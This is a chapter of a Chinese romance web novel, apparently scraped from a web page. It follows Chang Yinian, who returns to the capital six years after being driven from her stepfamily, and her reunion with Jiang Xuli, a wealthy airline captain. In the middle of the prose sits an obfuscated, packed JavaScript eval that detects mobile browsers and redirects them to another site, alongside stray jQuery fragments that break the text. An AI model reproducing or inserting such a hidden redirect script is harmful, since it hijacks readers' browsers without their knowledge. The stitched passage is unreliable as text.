独栋洋房二楼的一间侧卧内,刺眼的太阳让房间里的空气变得焦躁不已,情书被愤怒的手撕裂成两半,从空中盘旋飘落在地。
指责的女声飘荡在房内:“你知道现在的家庭对我来说有多来之不易吗?你竟然喜欢苏言策,他可是你的哥哥啊!”
常以念捏紧的双手忍不住颤抖,她双眼氤氲望着面前盛气凌人的女人,嗓音柔软,带着乞求的意味:“妈妈,你听我解释,这封信不是我写……”
许韵大手一挥语气决绝:“不用解释了,我会立马给你买票,你收拾行李回溪镇找你爸爸,不要再来了。”
女孩瞳孔不可置信地撑大,她注视着自己的母亲,想要从她的态度中找到一丝可回转的希望,然而对方给她的回应是,愤然的转身走出了房间,背影无情。
常以念眼角泛着泪花,呆呆站了一会,尔后蹲下去捡被撕裂的信,她酸涩地吐槽了句:“怎么会有母亲不认识自己女儿的字迹。”
忽而,一只精致的少女拖鞋踩住她正要捡起的半张信,重新压到地上。
苏言妍双手抱胸居高临下地看着她,眼里写满了得意:“你现在知道,比起你这个亲生女儿,她更爱她自己了吧?”
常以念怨恨地看着这个罪魁祸首:“为什么这样对我?”
苏言妍脸色变得逐渐凶狠起来,语气恶狠狠的:“你一个外姓人,一来就抢走哥哥,那是我哥哥,他只能对我一个人好,我要你从我家滚出去,滚出京城!”
十六岁那年的盛夏,是最令常以念窒息的一个季节,从那以后,她便不再期待过夏天。
飞机穿过洁白的云层,在空中留下两缕白色的尾气。
客舱内响起甜美的广播女声:“女士们先生们,我们的飞机将于三十分钟后降落京城国际机场……”
额头在小桌板上磕了一下,常以念皱眉,抬起惺忪的睡眼。
眯着眼望向窗外透亮的云层不由心生感慨,时隔六年,她又要降落在这座城市。
她只是在飞机上小眯了会儿,过往的不欢记忆见缝插针地钻进她的梦里。
可那不仅仅是梦,是真实发生过的事。
额头布满细密的汗珠,她扭开飞机上发的矿泉水,仰头猛喝。
旁边坐着两个年轻的女生,正拿着一本杂志议论。
“这个机长好帅啊!”
“他是京航的明星机长江序礼,长得毫不逊色当红顶流,前几日不是有个热搜,知名导演王阳找他拍电影被拒了,那可是王导啊,有多少个影帝影后是他捧出来的啊,你猜他拒绝的理由的什么?”
被问女生摇了摇头。
“记者找到他的时候,人刚降落从机场出来,开着一千多万的兰博基尼要下班回家,被记者拦路不耐烦又很拽推墨镜说了句——爷不缺钱。”女生声情并茂,神情崇拜:“网友一扒才知道,他可是京城上流豪门江氏的太子爷,人当飞行员不过是体验人生。”
“哇~,我又有做梦的素材了,要是能坐到他开的飞机,我做梦都能笑醒。”
常以念听着两个女生的议论声,默默拿起座椅前方的杂志,葱白细指擦过封面人物。
男人站在飞机前,机长的制服仿佛为他量身定制的一般,优越的身材比例,一双大长腿格外吸睛,他一手插兜,一手托着帽子,五官俊美,气质贵气,微微斜勾的嘴角带着一股邪魅,往上抬的下颌给人一种冷傲和疏离感。
十五岁那年,常以念刚到苏家不久,那次午后,她听到门铃声,小跑着过去开门,江序礼就是这样站在她面前。
高大,冷傲贵气,眼神带着俯视感。
他是苏言澈的好兄弟。
常以念从小地方过来,住进苏家的别墅本就是刘姥姥进大观园,她本以为苏言澈是她见过最惊艳的人了,但苏言澈性情温和平易近人,没有给她压迫感,而江序礼,比起苏言澈更惊为天人,他冷贵的气质给她的感觉就是另一个阶层的人,她够不着的阶层。
她和苏言妍不一样,她畏惧权威,在江序礼面前总是下意识地后缩,不敢主动搭话,而苏言妍,一直以来的梦想就是长大后做江序礼的新娘。
常以念以为,像他这种太子爷,以后的路就是顺理成章地继承家业,可他竟然成了机长,这也许与他骨子里那股不被约束的傲劲有关吧。
飞机在京城国际机场降落。
拿到行李后,常以念给丁昕雪打电话:“雪雪,你到哪了?”
丁昕雪是她在粤城A大外语学院的学姐,毕业后就在京城创业开了家教育机构,创业之初,因为缺乏资金,常以念将自己打四份工攒下的几万块钱给她救急,也因此成了“语贝”的原始股东,前阵子机构有个英语老师辞职,招不到满意的,正好常以念毕业,丁昕雪就软磨硬泡把人哄了过来。
电话里头,丁昕雪的声音略显焦急:“宝贝,前面好像出车祸了堵得不行,你在里面找个地方坐着等我一会好吗?”
“好的,你别着急慢点开车。”
常以念拖着行李箱去洗手间,洗了把脸,出来后,她正欲找座椅坐下,只见一条航空公司的队伍远远走来,他们一个个拖着黑色的小行李箱,穿着制服,男男女女气质不凡,不禁惹得旁人侧目。
常以念一眼认出了走在最前面的男人,他穿着夏季机长的制服,身高腿长,手上腕表价值不菲,高挺的鼻梁上架着一副墨镜,气质最为突出,有女生拿着手机一边花痴一边拍照。
没想到刚降落就遇故人,常以念内心唏嘘。
她这次回京,是默默的悄悄的,除了丁昕雪,没有通知任何人,也不打算跟任何人联系。
在那批人走近时,她连忙低头,往一旁走去。
这些年,她变化不少,长高了,五官也张开了,以前的齐刘海齐肩发,现在留成了一头飘逸的中分长发,变化最大的应该是她逐渐内敛的心境,以至于整个人的气质也有了大大的蜕变,所以,江序礼应该不会认出她来。
虽然他是苏言澈的好兄弟,但像他这种人阅女无数,从来只有女生为他念念不忘的份,他何尝将哪个女孩放在眼里过呢。
更何况,她不过是苏言澈的继妹,就算是当年,她跟江序礼也没多少交集。
本以为的擦身而过在下一秒被打破了。
冷不丁的一道低磁男声击中她的后背:“站住。”
常以念咬了咬唇,没想到打脸来得如此之快。
她抱着一丝侥幸,侧目瞥了眼后方,对方虽戴着墨镜,但整张脸正对着她这个方向,身后其他人也跟着停了下来。
一开始她不确定,这下彻底确认江序礼是跟自己说话了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501308|170354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人唇角习惯性地上扯,明明是令人倾倒的弧度,却又平白多了丝与身俱来的冷贵感:“跑什么啊?”
常以念掀了掀长睫,一双眸子如剪水一般,语气中夹着一丝生分:“你好,好久不见。”
女孩明眸皓齿,温软恬静,任由旁人看,也是叫人一眼惊艳。
“这不是6A的乘客吗?”后方一位男空乘认出常以念,常以念也记得他,他负责餐点放饭。
所以,她刚刚坐的是江序礼开的飞机?
“哟,连人家的座位号都记得这么清楚。”旁边女空姐调侃。
空少摸了摸头:“美女嘛,总是令人印象深刻。”
江序礼瞥了他们一眼:“你们先走吧。”
其他人目光在两人间打量,脸上神情耐人寻味,整得常以念很尴尬,她想说真不是他们想的那样,虽然她也不知道为什么江序礼会叫别人走。
以他们的关系,应该没有过多的话要说的。
那群人走了之后,常以念捏紧行李拉杆,强装镇定等待江序礼开腔。
“去哪?我送你。”
“不,不用麻烦了,我朋友来接我,她快到了。”
话语刚落,丁昕雪的电话打来了,常以念松了口气,正好让他听听自己并未说谎,声量不由拔高:“喂,雪雪你到哪了?”
“宝贝,对不起,我这边追尾了,蹭到了一辆路虎,我可能得处理一下,要不我让别人去接你吧?”
常以念咬了咬唇,实难料到事情会往这种戏剧性的方向发展。
她捂着手机,低声说:“你不用管我了,我自己打车回去,你那边严重吗?”
“对方挺难搞的,我看怎么处理吧,我把地址发你,就麻烦你自己打车回去了。”
挂了电话,常以念眉头微皱,一想到丁昕雪是为了来接自己才发生交通事故,就不由得担心起来。
江序礼依旧站在一旁等着,欣赏了段她起起落落的情绪变化,抬手看了眼腕表:“走吧。”
看表的动作似在暗示不要浪费时间,给人一种不可抗拒的压迫感。
常以念鬼使神差地跟上,亦步亦趋地走在他后面。
她抬眸看了眼前方高大冷俊的背影,忽然感到熟悉,那种熟悉感不是以前,好像近几年也见过。
随后她便摇头否定了自己的想法,这几年,他们在两条不同的平行线上运转,从未接轨过,怎么可能见过。
可能是他跟哥哥身形相似,她才会产生这种幻觉。
江序礼的宾利车停在机场停车场,后备箱弹开,他先将自己的行李箱放进去后,伸手接过她的。
“谢谢。”
常以念略显无措,慢吞吞去开后座车门。
他似笑非笑:“你把我当司机?”
常以念抓着门把手的动作一顿,又默默关上了车门。
这边,江序礼已经拉开副驾驶座的车门。
常以念从他身前擦过,钻进座位,空气中遗留着男人身上的香味,淡香氛,木质香调,冗杂着雪松和香橙的淡味儿。
常以念神经一紧:“谢谢。”
男人站在车旁,长长的胳膊搭在车门上,微微俯身盯着她,语气带有一丝侵略性:“谢谁?”
常以念抿了抿唇:“序礼哥哥。”